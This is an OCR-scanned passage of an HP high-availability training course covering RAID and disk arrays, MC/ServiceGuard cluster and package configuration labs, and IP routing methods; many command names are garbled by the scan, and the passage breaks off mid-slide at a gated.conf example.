The bound units belong to an SP, but an auto-trespass facility allows the others SP access.
LVM uses this alternate path as a PV link in the event of failure/timeout, avoiding a SPOF in
the design.

This binding takes a few hours, and detailed knowledge of the RAID and RAID levels is
required for a correct configuration. Once configured, the RAID unit has complete control
over the disks, and if an appropriate RAID level (1, 0/1, 3 or 5) is selected, the data is fully
protected. The RAID will continue to provide correct data in the event of a disk failure, and
will automatically rebuild a failed unit upon replacement. This rebuild can take a few hours
during which there exists a SPOF within this logical unit.

The SCSI LUN, or Logical Unit Number is a sub-address inside the RAID unit added to the
external SCSI address of the RAID controller. The LUN is part of the hardware path, and is
also referenced by the HP-UX device file.
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RAID arrays use LUNSs to divide up the multiple disks into separately addressable units.
Some RAID arrays allow each LUN to be fixed at a different RAID level. There is often a limit
to the maximum number of LUNs (e.g., HA disk array — limit to 8 or 16, XP256 — 1024).

A disk mechanism cannot be divided between different LUNs. LUNs are assigned to a
specific Storage Processor (SP), although they can be addressed through the redundant SP
with the loss of the benefit of the SP cache.

AutoRAID disk arrays also use LUNs to divide up the disk array space. AutoRAIDs do not
build LUNSs from disk mechanisms, but from a pool of space distributed over all of the disks.
AutoRAID also does not have the concept of a controller owning a LUN. Either controller
can equally access any LUN without a performance penalty.

The LUNSs are visible as the 'dX' entry in the device files by d0,d1,d2 etc.

http://feducation.hp.com 3-11 H3045S C.00
00 2000 Hewlett-Packard Company



Module 3
Disk Technologies for High Availability

3-8. SLIDE: RAID Levels

RAID Levels

RAID 0 No check disk, no data protection, sector interleaved

RAID 1 Mirrored disks

RAID 0/1 Sector interleaved groups of mirrored disks; sometimes

called RAID 1/0 or RAID 10

RAID 3 Single check disk using Parity, sector interleaved

RAID 5 No single check disk, data and parity, sector interleaved
Student Notes

There are five commonly used RAID levels: 0, 1, 0/1, 3, 5.

Since there is no data protection with RAID level 0, the only benefit is the potential for
increased performance due to the data being spread across multiple disks. HP has
implemented a special case of RAID level 0 called Independent Mode. In this mode, the
interleaving group size is one, effectively resulting in each disk being treated as if it were a
non-RAID disk. Independent mode can sometimes increase performance over RAID level 0 in
cases of small random I/Os. Redundancy is provided with MirrorDisk/UX.

Since the sector size on most disks is 512 bytes, the minimum I/O size is 1 KB for 2 disks in a
group, or 2 KB for a group of 4 disks in RAID levels 0 and 3. RAID level 0 is usually
implemented with groups of 2 disks.

HP-UX imposes a 1 KB minimum I/O size requirement for disk drives. So, even with RAID
level 5, the minimum I/O is 1 KB. Depending on the particular implementation, an I/O from
1 KB to 128 KB can involve a single disk spindle.

Performance is only one aspect of HA. The various RAID levels differ in the efficiency of disk
space use.
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RAID O 100% efficient but no redundancy
RAID 1 50% efficient due to mirroring

RAID 3or5 65% - 85% efficient (depends on number of disks/LUN)
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3-9. SLIDE: Sample HA Environment using Disk Arrays

~ Sample HA Environment using Disk Arrays

Student Notes

When using a disk array in an HA environment, two SCSI busses are still needed to provide
protection in the event a SCSI controller fails in one of the systems. Both SCSI busses,
however, are cabled to the same disk array, with one bus being cabled through Storage
Processor A (SP-A) and the other through Storage Processor B (SP-B).

Because the disk array provides data redundancy in hardware, there is no need to mirror the
data using the MirrorDisk/UX functionality. However, this means the only supported RAID
levels are 0/1, 1, 3, and 5, as these are the only RAID levels which provide for data
redundancy.

The biggest difference between using disk arrays versus JBODs in an HA environment is both
SCSI controllers within the systems lead to the exact same data on the same set of disks
within the disk array. Since the system can detect that both paths lead to the same set of
disks (since the PVID number for both paths will be the same), a feature known as PV Links
is used when configuring disk arrays (and needed with JBODs). The PV Link feature allows
the system to recognize both paths to the same set of disks, automatically failing over to the
alternate path should the primary path become unavailable.
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3-10. SLIDE: AutoRAID

AutoRAID

Low Usage

All I/O in RAID 0/1
mode
Fast Read/Fast Write

o O ()} Medium Usage

~—1 N>~— RAID 5 is slower to

w w RAID 5 write

© High Usage

NEALD 0/ 41D 9. Most data in RAID 5,
RAID 5 RAID 5 More overhead to

" move data between

modes

Student Notes
AutoRAID arrays try to capitalize on the best feature of two different RAID modes.

RAID 0/1 (striping/mirroring) maintains data integrity while giving the highest performance.
Striping allows for data to be read from multiple mechanisms in parallel, while mirroring
ensures data redundancy.

Efficiency of disk space is 50%.

RAID 5 on the other hand, maximizes data storage capacity by using a more efficient parity
method, approaching 85% efficiency. The performance however, is not as good as RAID 0/1.

AutoRAID arrays try to keep data in RAID 0/1 to maximize performance if space is available,
and migrate data to RAID 5 mode as more disk space is allocated. The unit also migrates the
most active data to RAID 0/1 storage to maintain performance. A minimum of 2 GB of space
is reserved for this purpose.

The AutoRAID has the hot spare capability, two controllers that have full access to any LUN,
and requires minimal administration.
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The key to understanding the AutoRAID is to forget about physical disks, and consider only
disk data block space. The data redundancy is provided by either RAID 0/1 or 5, and there is
no control. LUNSs are created by specifying size, not drives. This can be done via the front

panel on the AutoRAID unit.
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3-11. SLIDE: XP256 SureStore E Disk Arrays

— XP256 SureStore E Disk Arrays

XP256 SureStore E Disk Array

— — 3 3 3 3
’
) —— 3 e A 3
.

© Array Groups

.E

- Maximum 256 Disks (15GB, or 36.9GB)
8 Client Host Interface Proc (CHIP) Maximum 60 Usable Array Groups

4 SCSI busses per CHIP Card Optional Fibre Channel CHIP Card (2 port)

Student Notes

The HP SureStore E Disk Array XP256 is HP's answer to large-scale data storage and data
warehousing for enterprise computing. The name derives from the subsystem's multi-
controller architecture and 256 number of disk bays visible on a fully configured system.
XP256 is scalable from 60 GB to 9 TB and supports RAID levels 1 and 5.

An initial look at the specifications for the XP256:

¢ Disks

v' 232 Data Disks + 8 dedicated spare disks (total of 240 usable disks)
v" Up to 16 total spare disks can be configured as an option

* RAM

v" 16 GB Cache (max.)
v" 512 MB Shared Memory (max.)

¢ Interfaces

v" Up to 4 CHIP Pairs for host connectivity through:
= 32 FW-SCSI or Ultra-SCSI Connections (Host)
= 16 FC Connections
= 32 ESCON Connections (up to 8 allowed for Continuous Access XP)
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3-12. SLIDE: SANs — Moving to a New Model

~ SANSs - Moving to a New Model
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Student Notes

The traditional methods of data storage and retrieval are becoming obsolete with the ever-
increasing demands of our users. Gone are the days where JBODs and software alone could
meet storage needs. Multi-gigabyte storage requirements and high availability (HA) setups
are just two of the reasons for this transition. Just as printers have moved to a network-
based model to make resource sharing more efficient, so too has storage evolved.

The Storage Area Network (SAN) is the solution to many of the requirements of the new
business environment. The multi-system, multi-access nature of the SAN makes it ideal for
large-scale data storage and warehousing.
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3—-13. SLIDE: SANs - Architectural Model

~— SANSs - Architectural Model
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Student Notes

A complete enterprise storage solution requires five elements:

Networking

Servers

Integrated management devices
Storage devices

SANs to hook it together

G oo~

HP's approach to SANs is the HP Equation - a total solution encompassing all five elements.
The differential between HP Equation and other solutions is the HP commitment to the Open-
SAN. The Open-SAN is a way to share the different types of storage resources among the

myriad of server platforms available today.

HP Equation supports two types of SANs: native fabric (also referred to as Fabric Logon or
FL) and Emulated Private Loop (EPL) or Fibre Channel Arbitrated Loops (FC-AL). The hosts
require a specialized interface card to take full advantage of the properties of a FL. SAN. EPL

and FC-AL are implemented to support existing FC interfaces.

http://education.hp.com 3-19

H3045S C.00

00 2000 Hewlett-Packard Company



Module 3
Disk Technologies for High Availability

H3045S C.00 3-20 http://feducation.hp.com
00 2000 Hewlett-Packard Company



Module 4 — High Availability Architectures

Objectives
Upon completion of this module, you will be able to:

* Summarize the event sequence of a package failover on a highly-available HP-UX cluster.
* Using component symbols, progressively construct a highly-available HP-UX cluster.

¢ Precipitate a failover event and track the process by means of different system-view
utilities.
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4-1. SLIDE: Computer System Availability

~ Computer System Availability

Users & Client
Applications

Resources & Server
Applications

Student Notes
What happens to the system users and/or client applications if

e aserver system loses power?
e aserver application is killed by mistake?
* aLAN card fails on the server?

¢ an upgrade is required on the server?

There are many different architectures and models for improving the availability of important
server systems. We will examine some of these and compare and contrast the advantages
and disadvantages of them.

There is no one single best design. Different requirements require different solutions.
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4-2. SLIDE: HA Cluster Architectures SMP Systems
(ex. K or T box)

~ HA Cluster Architectures

SMP Systems —
(ex. K or T box)
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Student Notes

Symmetric Multi-Processing (SMP) systems are sometimes considered to be HA solutions
since the system can run with failed CPUs. SMP systems from HP, IBM, Sun, AT™ (NCR),
Sequent and Pyramid all panic when one of the processors (CPUs) fails. They then reboot,
disabling the failed processor. The failover time is dependent upon the speed of reboot.

SMP systems have a single, shared, main memory that is connected to the CPUs on a high-
speed bus. The speed of this bus limits the number of CPUs as well as the performance of
the system.

I/0 busses are also shared among the processors.
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4-3. SLIDE: HA Paradigms: Active/Standby Move the Service
Point (SwitchOver/UX)

— HA Paradigms: Active/Standby

Move the Service Point —_—
(SwitchOver/UX)

Node IP Node IP 2

[
‘V‘ i Address 1 /

ﬁt i | "4
) Users
System B is idle
Or running an
System A unimportant
application
E
VGO01
Student Notes

With the Move the Service Point paradigm, the users access the application through a node
IP address, which migrates to the particular system that is currently running the application.

Backup systems may be idle or running an unimportant application of their own. This
application will be stopped at the time of failover in order to reboot from the primary
system's root disks.

The disks are accessed exclusively: only one system accesses the data for a given application,
although the disks are connected to both systems.
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4-4. SLIDE: HA Paradigms: Active/Standby Move the Service
Point (SwitchOver/UX) (Continued)

— HA Paradigms: Active/Standby
Move the Service Point (SwitchOver/UX) —_—
(Continued)

{ Node IP No 9
s i Address 1

System B is now
running the
Application.

System B takes on
hostname, MAC
address,and node IP
Sfrom System A

VGO0

Student Notes

Upon primary system failure, the backup system acquires the node IP address, MAC address
and hostname of the primary system, activates the disks, and starts the application.

This paradigm requires User or Client application knowledge of
* asingle IP address.
* the need to retry, reconnect or re-login.

The failover is slow due to the reboot time.

This paradigm is transparent to the user (IP address, MAC addresses, hostname, although
NOT SPU ID).

Note that the backup system no longer runs what it was running before the failure. The
backup system B now accesses the data that system A used to access.

Examples of HA solutions which use this paradigm include: HP’s SwitchOver/UX product,
IBM’s HACMP level 1 product, Sun’s Fusion product.
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4-5. SLIDE: Introducing MC/ServiceGuard

— Introducing MC/ServiceGuard
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Student Notes

MC/ServiceGuard Clusters

MC/ServiceGuard is a high availability product for HP-UX 10.x. MC/ServiceGuard provides
an environment such that, in the event of a failure of a system component such as an SPU or
network interface card, services (applications) can be transferred to another SPU and be up
and running again within a very short amount of time. A properly designed MC/ServiceGuard
cluster can eliminate all single points of failure and give you the confidence that most failures
will result in no more than one minute's loss of availability of your critical application. In
addition, you can easily transfer control of your application to another SPU so you can bring
the original SPU down for planned administration or maintenance activities.

With MC/ServiceGuard you can organize your applications into packages and designate, if
you want, the control of specific packages to be transferred to another SPU, or
communications transferred to the idle LAN, in the event of a hardware failure on the
package's original SPU or network.
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4-6. SLIDE: Features and Benefits of MC/ServiceGuard

~ Features and Benefits of
MC/ServiceGuard —

. Highly Available Clusters
- Fast switching of applications to alternate node (<60
seconds for basic system resources with JFS)
- LAN failure protection (very fast local switch to
standby LAN adapter inside same node)

. Application Packages
- Easy application/package management
- Completely transparent to applications

. Intelligent cluster reconfiguration after node failure
. Data Integrity: No 'split-brain' syndrome
- Dynamic formation of new, viable cluster

. Flexible load balancing
. Mixed Series 800 class nodes
. Facilitates online hardware and software updates

. No idle resources
- All systems run mission-critical applications

Student Notes

MC/ServiceGuard is implemented as a loosely coupled cluster.

MC/ServiceGuard does not reboot the backup system during a failover. The backup system
assumes responsibility for the applications that were running on the failed system as well as
continuing to run its own applications.

MC/ServiceGuard can detect failures of the SPU, LAN and the application itself.

MC/ServiceGuard moves only the IP address used by the application, and optionally the MAC
address. It retains the original uname and hostname of the backup system.

Another advantage of MC/ServiceGuard is that systems with different I/O architectures can
be mixed in a cluster.

If standby LAN cards are configured in the system, MC/ServiceGuard will do a local LAN
failover to the standby card rather than forcing a node failover when the LAN card fails.

MC/ServiceGuard can be used in conjunction with other HA products such as
MirrorDisk/UX, RAID disk arrays, Process Resource Manager and ClusterView.
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Currently, a MC/ServiceGuard cluster may be composed of 1 to 8 HP 9000 Enterprise
Servers. A one-node cluster can make use of the local LAN failover feature of
MC/ServiceGuard G.

All nodes in an MC/ServiceGuard cluster can be active, i.e., running mission critical
applications.

Failover will occur in under one minute, transferring control of all system resources needed
by the application. Failover time does NOT include file system and application data recovery
times.
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4-7. SLIDE: MC/Service Guard Configuration Procedure

MC/ServiceGuard Configuration Procedure

Cluster Config =
f ASCI file
< \ , Cluster Binary
file
A \ : /
Cluster Binary
@ D file ~ —

L cmcld cmcld
@ process process

@ Create the “cluster configuration ASCII file.”
@ Compile and distribute the “cluster binary file.”

@ Start the MC/ServiceGuard daemon, “cncl d.”

Student Notes

To configure an MC/ServiceGuard cluster, the following steps must be followed:

Install MC/ServiceGuard software on each node within the cluster (should have already
been performed in the High Availability Concepts LAB).

Cable a common set of disks to all nodes in the cluster and create a shared volume group
using those disks (should have already been performed in the Disk Technology for HA
LAB).

Create and distribute the MC/ServiceGuard cluster configuration file (to be performed in
the LAB for this module).

In order to complete the last step, creating and distributing the MC/ServiceGuard cluster
configuration file, the following three steps should be performed:

1. Create the cluster configuration ASCII file. This is a file that the user creates which
defines the nodes, the disks the LAN cards, and any other resources which are to be part
of the cluster. The command used to help build the cluster configuration ASCII file is
called cnguer ycl .
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2. Compile and distribute the cluster binary file. Once the cluster configuration ASCII
file is created, it needs to be compiled into a binary format which the MC/ServiceGuard
daemons can access efficiently. This compiled file is then distributed automatically to all
other nodes in the cluster. The command used to compile and distribute the binary
configuration file is called cmappl yconf .

3. Start the MC/ServiceGuard daemon, cntl d. Once the binary file is distributed, the
MC/ServiceGuard daemon, cntl d, can be started. This daemon can NOT be started
directly, and should be started with the cnr uncl command. The cntl d daemon
monitors the health of all LAN cards in the cluster, as well as the status of all other nodes
in the cluster.
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4-8. SLIDE: Cluster Reformation Example

I
Cluster Reformation Example
SystemA, starts // SystemB,
Package2 upon ! which is
detecting that | running
SystemB went | Package2,
down. | experiences a
\ CPU failure.
Student Notes

The above slide shows an example of what happens when a node in the cluster fails and how
the cluster reforms itself keeping moving the application running on the failed node over to
another node within the cluster.

The sequence of events corresponding to the above slide are:

¢ Packagel is running on SystemA, and Package2 is running on SystemB.
¢ SystemB fails.
¢ SystemA detects the SystemB’s failure.

« SystemA starts Package2 (aka Application2) by activating the vg02 volume group,
mounting the file system from vg02, and starting the Application2 processes.
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4-9. SLIDE: Packaging Concepts

~ Packaging Concepts

A package is an application and all the application resources
required to execute properly.

Resources for packages can include:
¢ Volume Groups
¢ [P Addresses
¢ Service Processes

Packaging Files include:
¢ Package Configuration File (pkg. conf)
e Package Control Script (pkg. cnt 1)

Student Notes

Applications that run in an MC/ServiceGuard high availability environment must be
configured with all their related resources into a package.

The information needed to run a package in an MC/ServiceGuard cluster is contained in a
package configuration file and in a package control script. One configuration file and
one control script will need to exist for each package.

The package configuration file defines the dependencies for the application, like a subnet or
a service process. Also defined in the configuration file are package attributes and
characteristics.

The package control script is executed to bring up (or bring down) the packaged application
in an MC/ServiceGuard environment.
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4-10. SLIDE: Creation of Binary File with Packages

— Creation of Binary File with Packages

Cluster
Configuration
ASCIT

File

\ Cluster
cmappl yconf __, | Binary

File
Package /etc/cncluster/cntl config
Configuration This file is automatically
File distributed to all nodes in
the cluster.
Student Notes

The MC/ServiceGuard binary file requires that all package configuration files (in addition to
the cluster configuration file) be used as input to the cmappl yconf command.

The binary file (once created) is distributed to all nodes in the cluster, so every node will
know which packages are part of the cluster.

The following is the syntax of the cnappl yconf command:

cmappl yconf -C cntlconf.ascii -P pkgl.conf -P pkg2.conf
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4-11. SLIDE: Sample Package Configuration

~— Sample Package Configuration

IP Addr - Pkgl
IP Addr - SystemA
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Service N ol .
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Process
Process

Packagel Package2

VGO1 VG02
SystemA N SystemB
Exclusive Exclusive
VG Activation VG Activation

Student Notes

The slide shows a sample MC/ServiceGuard cluster configured with two packages.

Packagel was started on SystemA using the pkg. conf and the pkg. scri pt files. Three
things should be noted related to the execution of Packagel on SystemA:

¢ SystemA has volume group VGO01 exclusively activated. This is because VGO1 contains the

application specific data for Packagel.

¢ The LAN card on SystemA contains two IP addresses: one for the host SystemA and one
for Packagel.

¢ The service process for Packagel is currently running on SystemA. Should the service
process terminate, MC/ServiceGuard will interpret that as an application failure and will
try to restart the service process or move the application over to SystemB.
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4-12. LAB 1: Cluster Configuration

Directions

Configure the cluster to include the volume group created in the LVM lab.

Also configure a standby LAN card for the primary heartbeat IP LAN card.

1. Change directory to the location for cluster files.

cd /etc/cntluster

2. Query nodes to create a cluster configuration template file.

cnguerycl -n nodel -n node2 -C cntlconfig.txt

3. Edit the cluster configuration template file.

Modify the CLUSTER NANME parameter, then save the changes and exit the file.

vi cntlconfig.txt

4. Check configuration file for errors.

cntheckconf -C /etc/cntluster/cntlconfig. txt

5. Fix any errors. Once the configuration is OK, apply the new configuration.

cmappl yconf -C /etc/cntluster/cntl config. txt
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6. Once the new configuration is applied and distributed, bring up the cluster.

cnruncl

7. View the status of the cluster and LAN cards.
cmviewcl -v
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4-13. LAB 2: Package Configuration (Xclock Package)

Directions

Configure the cluster to contain a package which displays an xclock to the display of a
workstation.

Create the Package Configuration File and Assign an IP Address

1. Edit the/ et c/ host s file.
vi /etc/hosts
2. Your instructor should assign you an IP address which can be used for this package. Add
the IP address for the package and record the information below.
Package | P Address Package Name
3. Make a directory for the xclock package files.
nkdir /etc/cncluster/xcl ock
4. Change directory to the xclock package directory that was just created.
cd /etc/cncluster/xcl ock
5. Create the package configuration file template.
cmmakepkg -p xcl ock. conf
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6. Edit the package configuration file template.

Modify the following parameters:

PACKAGE_NANME xcl ock

NCDE_NAME nodel

NCDE_NAME node2

RUN_SCRI PT / etc/cntl ust er/ xcl ock/ xcl ock. cnt |
RUN_SCRI PT_TI MEQUT NO_TI MEQUT

HALT_SCRI PT /etc/cntluster/xcl ock/ xcl ock. cnt |
HALT_SCRI PT_TI MEQUT NO_TI MEQUT

SERVI CE_NANME xcl ock_service

SUBNET X X X X

Save the changes and exit the file.

vi xcl ock. conf

Create and Distribute the Package Control Script

1. Create the package control script template.

cnmakepkg -s /etc/cntl uster/xcl ock/ xcl ock. cnt

2. [Edit the package control script template. (Remember that this file is a script and that all
variable assignments cannot contain any spaces.)

Modify the following parameters:

| P[ O] [get IP frominfo on pg 1]

SUBNET XX XX

SERVI CE_NAME[ 0] X cl ock_service

SERVI CE_CMJ 0] "/usr/bin/X11/ xcl ock -display host: 0"
SERVI CE_RESTART] 0] "er 2"

Exit the file and save changes.

vi xcl ock. cntl
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3. Copy the xcl ock control script to other nodes within the cluster.

remsh node2 "nkdir /etc/cncluster/xcl ock"
rcp /etc/cneluster/xclock/ xcl ock. cntl node2:/etc/cntl uster/xcl ock/ xcl ock. cntl

Create and Distribute the Binary File

1. Check the configuration file for errors.

cntheckconf -P xcl ock. conf

2. Fix any errors. Once the configuration is OK, apply the new configuration.

cmappl yconf -P xcl ock. conf

3. Once the new configuration is applied and distributed, verify the package has been added
to the cluster.

cnmviewcl -v -p xclock

4. Enable the package to execute.
cmmodpkg -e xcl ock
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Module 5 — Internetwork Routing

Objectives
Upon completion of this module, you will be able to:

* Describe how routing works at layer 2 and 3 of the OSI model.

* List three different configuration (and the advantages/disadvantages of each) for
configuring routes on a workstation.

¢ List two methods used by the Router Discovery Protocol to find routers on the network.

¢ List two advantages of routing with the protocol RIP.
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5-1. SLIDE: How a Router Forwards Packets

How a Router Forwards Packets
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IP. X
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| Dest MAC: b| DestIP: B

Layer 2 Layer 3 Higher
Layers

Layer 2 Layer 3

Workstation B

Student Notes

Internetworking refers to an infrastructure with multiple networks, each network containing
multiple hosts, and the ability of the hosts on the different networks to communicate with
each another.

To facilitate the communications between networks, a number of different routing protocols
are available. The purpose of a routing protocol is to determine the path a packet should
travel when going from a system on one network to a system on another network. When only
one path exists, there are no routing decisions. But, when multiple paths are available, the
routing protocol needs to select what it considers to be the best path.

The above slide illustrates how a node (Workstation A) on one network, sends data to a node
(Workstation B) on a total different network, and how the Router X assists in this
communication.

First, the data to be sent gets encapsulated in the higher level OSI protocols (TCP or UDP).

Second, layer 3 or the Network layer, adds an IP header which specifies the source IP and the
destination IP address for the packet. The IP protocol (at layer three) must also specify the
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gateway or first hop for the packet on its path to the destination IP. (This information comes
from the routing table which we will discuss in the upcoming slides.)

Once the first hop is known in order to get the packet to its final IP destination, a layer 2 or
Data Link header is added to contain the MAC address of the source, and the first hop device
(i.e. router).

The Function of the Router

When the router receives the packet, it removes the layer 2 header and inspects the
destination IP address specified in the layer 3 header. Based upon its routing table, the
router creates a new layer 2 header containing the MAC address of the next hop device. If
the destination host is directly attached to the same network as the router, then the MAC
address of the destination node itself is used (as shown in the slide).

http://feducation.hp.com 5-3 H3045S C.00
00 2000 Hewlett-Packard Company



Module 5
Internetwork Routing

5-2. SLIDE: Review: IP Addressing

~ Review: IP Addressing

¢ Three classes of network address are available
¢ Network class is determined by number of network bits

ClaSS A|Q ——————— |o| |o| |o| |

ClassBlzo ______ e .| | |

Class C|220 _____ R R | |
Student Notes

Recall that every system which routes within a UNIX-based network will have an IP address
which uniquely identifies the system. The 4-byte, IP address is composed of two parts: a
network portion and a host number within that network.

The network portion can be one, two, or three bytes, depending on the high order bits within
the first byte. The three different classes of IP addresses which we will be focusing on in this
module are:

Table 1
IP Address Class High Order Bits Address Format
A 0 7 bits network, 24 bits host
B 10 14 bits network, 16 bits host
C 110 21 bits network, 8 bits host

The network numbers are assigned by the Internet authorities, and are guaranteed to be
unique. The host numbers are assigned by the system or network administrator as they see
appropriate for their company.
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5-3. SLIDE: Review: Subnetting

~ Review: Subnetting

| IP Address (Decimal & Binary) | | IP Address | | Usage

520 (e 2 [ 000 0000 | | 192.6.12.0 ] [ Network address ]

001 00000 192.6.12.32 Subnet #1

001 00001 192.6.12.33 Subnet #1, First Host
001 11110 192.6.12.62 Subnet #1, Last Host
001 11111 192.6.12. 63 Subnet #1, Broadcast
010 00000 192.6.12.64 Subnet #2

010 00001 192.6.12.65 |_Subnet #2, First Host
010 11110 192.6.12.94 Subnet #2, Last Host
010 11111 192.6.12.95 Subnet #2, Broadcast
011 00000 192.6.12. 96 | Subnet #3

011 00001 192.6.12. 97 |_Subnet #3, First Host
011 11110 192.6.12.126 |_Subnet #3, Last Host
011 11111 192.6.12.127 |_Subnet #3, Broadcast
100_00000 192.6.12.128 Subnet #4

100 00001 192.6.12. 129 Subnet #4, First Host
100 11110 192.6.12.158 Subnet #4, Last Host
100 11111 192.6.12.159 Subnet #4, Broadcast
101 00000 192.6.12. 160 Subnet #5

101 00001 192.6.12.161 Subnet #5, First Host
101 11110 192.6.12. 190 Subnet #5, Last Host
101 11111 192.6.12.191 L_Subnet #5, Broadcast
110 00000 192.6.12.192 Subnet #6

110 00001 192.6.12,. 193 |_Subnet #6, First Host
110 11110 192.6.12, 222 |_Subnet #6, Last Host
110 11111 192.6.12.223 Subnet #6, Broadcast

[NE5Z200 (e (2 [ 111 00000 [ 192.6.12. 224 ] [vetmes

Student Notes

Recall that subnetting allows a single, network IP address space to be sub-divided into
multiple, smaller address spaces. The sub-divided address space uses bits previously
allocated for the host address, thereby decreasing the number of host bits, and increasing the
number of network bits.

For example, take the Class C IP address of 192.6.12.0. The first three bytes identify the
network number, and the last byte allows 254 hosts to be uniquely identified on that network
address. Using subnetting, we could borrow three bits from the host address field to identify
the subnet number. The remaining five bits could be used to identify the host within each of
those subnets.

The slide shows all the subnets for the IP address 192.6.12.0 with a subnet mask of
255.255.255.224. This subnet mask causes three bits to be used for the subnet address, and
only five bits to be used for the host address.
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NOTE: The first and last subnet addresses are reserved and cannot be used.

The first and last host addresses within each subnet address are
reserved and cannot be used.
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5-4. SLIDE: Routing IP Packets from Hosts

Routing IP Packets from Hosts

How do I know which router to send
my packets to when communicating
with Workstations B and C?

Workstation C
The answer depends
on whether \
static, dynamic, or
default routes Router Y

Router X \

Router Z

Workstation B

Student Notes

In general, it is the responsibility of the site network administrator to ensure that the routers
are configured properly to direct packets from network segment to network segment as
appropriate. However, it is the responsibility of the system administrator to configure the
host to perform the initial route from the system to the first router.

The importance of this configuration is illustrated on the slide above. Workstation A
communicates with Workstation B and Workstation C. When sending a packet to
Workstation B, the preferred route may be through Router X (only 1 hop away). When
communicating with Workstation C however, the preferred route is through Router Y (only 1
hop).

The configuration of Workstation A can be performed in one of three different ways:

Static routes Paths to the routers are configured and maintained manually by the
system administrator.

Dynamic routes Paths to the routers are configured and maintained by an OS daemon
(e.g. gat ed).
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Default route All paths are initially configured to go to one router. Adjustments

(addition of other routes) are made from there by an OS daemon
(gat ed).

The next three slides address each of these methods.
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5-5. SLIDE: Using Static Routes

Using Static Routes

# netstat -r
Routing tables

. _ Dest / Net mask Gat enay Flags Refs Use Interface Pntu
Workstation A 127.0.0.1 127.0.0.1 UH 0 414 100 4136
& Wr kst ati onB Rout er X UH 523 lan0 4136

1
Wr kst ati onC RouterY UH 1 523 |an0 4136
2

156.153.0.0 WrkstationA U 8290 lan0 1500

N
Wom:wnc

Router Y ©" ]

Stam'c routes have to

Router Z

Workstation B

Student Notes

One solution for managing the route table on a host machine is to use static routes.

Static routes are entries that the system administrator enters manually into the route table
with the r out e command. Static routes can also be configured by the system administrator
to be added to the route table every time the system boots.

Some people think, an advantage of static routes is they are independent of the routing
protocol (RIP, OSPF, or others) being used by routers. The host is not dependent on a
specific routing protocol. This means that if the routing protocol between routers does
change (i.e. RIP to OSPF), the host systems are unaffected.

Other people think, a disadvantage of static routes is they are independent of the routing
protocol being used by routers. As new routers and networks are discovered and added to
the network, the host machine using static routes will not know how to get to these new
networks. New entries will have to be added manually by the system administrator to the
route table for these new networks. As more networks are added and the total number of
subnets grow, the task of maintaining the route table on each and every host can become
overwhelming and impractical.
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A second disadvantage of static routes, is their lack of ability to detect downed routers on the
network. If the primary path to a destination node fails (e.g. the path going from Workstation
A to Workstation C through Router Y, as shown in the slide), the static route will not be able
to re-route the packet through an alternate path (e.g. going through routers X and Z to make
it to Workstation C). In order to recover from a downed route, the system administrator has
to manually remove the downed route from the route table, and then manually add the
alternate route. Once the downed route comes back on-line, the system administrator has to
remember to remove the alternate route and add back the primary route (which often times
they forget to do).
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5—-6. SLIDE: Using Dynamic Routes

Using Dynamic Routes

# netstat -r

Routing tables

Dest / Net mask Gat evay Flags Refs Use Interface Pntu

127.0.0.1 127.0.0.1 UH 0 414 |00 4136

. ‘ 128.1.0.0 Rout er X U 1 523 lan0 4136

Workstation 192.1.1.0 Rout er Y u 1 523 lan0 4136

156.153.0.0 WrkstationA U 2 8290 lan0 1500

l Workstation C
Network 156.153.0.0 adsgisements

Dynamic routing requires Sventisements
each host to listen for
route advertisements.
This causes a lot of netwerk
traffic and places a lot of

overhead on each host.

m Network 128.1.0.0
i

Workstation B &

miu |
[e=——— =\

Student Notes

A second solution for managing the route table on each host is dynamic routing,.

Dynamic routing involves running a background daemon (e.g. gated daemon) on each host to
listen for route advertisements from the different routers on the network. Upon hearing and
receiving the various route advertisement packets, the background daemon adds
corresponding route entries to the kernel's route table.

On the slide, assume Workstation A has the gated daemon running in the background
listening for RIP packets. From Router X, Workstation A will hear advertisements to the
128.1.0.0 network in one hop, and advertisements to the 192.1.1.0 network in two hops. From
Router Y, Workstation A will hear advertisements to the 192.1.1.0 network in one hop, and
advertisements to the 128.1.0.0 network in two hops. The daemon will than add entries to the
host's table which will get him to the 128.1.0.0 and 192.1.1.0 networks in as few a hops as
possible.

The advantage of dynamic routing is all newly discovered networks and subnets will
automatically have route table entries added for them as they are discovered.

The host's route table is automatically maintained by the background daemon freeing the
system administrator to do other things.
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A second advantage of dynamic routing is the ability for a host to detect downed routes and
automatically use an alternate route should one be available. The ability of dynamic routing
to utilize a redundant route in the event of a primary route failure, is a key advantage to
dynamic routing.

The main disadvantage of dynamic routing is the overhead placed on each workstation from
the dynamic routing gat ed daemon. Not only is this daemon constantly listening for RIP
packets (taking up CPU overhead), but it also adds every subnet and network that it hears
about (from route advertisements), to the kernel's route table. As more and more systems
connect to the Internet, the number of entries in the route table can be in the thousands when
using this routing solution.

Because of the overhead (and the dependency on the routing protocol), this approach is
typically used only in small companies.
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5-7. SLIDE: Using the Default Route

Using the Default Route

# netstat -r

Routing tables

Dest / Net mask Gat eway Flags Refs Use Interface Pntu
127.0.0.1 127.0.0.1 UH 0 414 100 4136
156.153.0.0 Wor kst ati onA U 2 0 lan0 1500
defaul t Rout erY uG 0 328 |an0 4135

Network 128.1.0.0

Workstation A

This method has low
overhead and puts the
routing responsibilities

on the default router:
We need a way to discove
the default router.

Workstation B

Student Notes

A third option for managing the route table on a host is to simply set a default route which is
used for all undefined network destinations.

In the slide, we see Workstation A's route table contains an entry for the local network
156.153.0.0, and a def aul t entry. This default route is used when communicating with any
other node on any other network. Therefore, when Workstation A sends a packet to
Workstation B or Workstation C, both of these packets will be sent to the default Router Y,
and Router Y will have the responsibility of determining the best route from that point.

The main advantage of this solution is it prevents the route table on the host from becoming
large and unmanageable. The route table is extremely simple and very little overhead is
required to maintain it.

This solution especially makes sense for networks which contain a single gateway to many
other networks (i.e. the Internet). Local addresses get routed locally, but all other network
addresses are routed through the default router.

One obvious disadvantage is in certain cases (like the one on the slide), the most efficient
route is not always used. For example, when Workstation A communicates with Workstation
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B, the best route is to go through Router X. But, the way the route table for Workstation A is
defined, the packets will be routed through Router Y to Router Z and then onto Workstation
B. The inefficiency in this route is caused by the simplicity of the solution.

At this point, there should be three questions lingering in the back of your mind:
1. Who sets the default route? Is it the system administrator, or some network daemon?

2. What happens if the default router goes down? Will the host be able to use a redundant
route if one exists?

3. Isthere a way to create supplement routes (i.e. add to the kernel's route table) such that
when an inefficient routes exist, a more efficient route can be added for that particular
network?

The answer to all three of these questions is contained on the next two slides.
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5-8. SLIDE: Router Discovery Protocol Daemon

—  Router Discovery Protocol Daemon

/et c/ gated. conf

rip no;
routerdi scovery client yes {
